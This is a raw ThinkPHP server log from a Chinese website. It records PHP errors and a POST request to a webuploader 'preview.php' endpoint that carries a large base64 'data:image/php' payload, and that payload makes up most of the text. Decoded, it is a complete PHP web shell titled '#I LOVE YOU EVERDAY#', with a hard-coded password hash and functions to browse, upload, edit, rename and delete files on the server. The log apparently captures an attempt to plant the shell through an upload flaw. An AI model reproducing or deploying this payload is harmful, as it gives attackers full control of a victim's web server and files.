czovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:34:04+08:00 ] 116.213.36.234 POST www.51tianwei.com/statics/webuploader/0.1.15/server/preview.php [运行时间:0.002493s] [吞吐率:401.14req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3h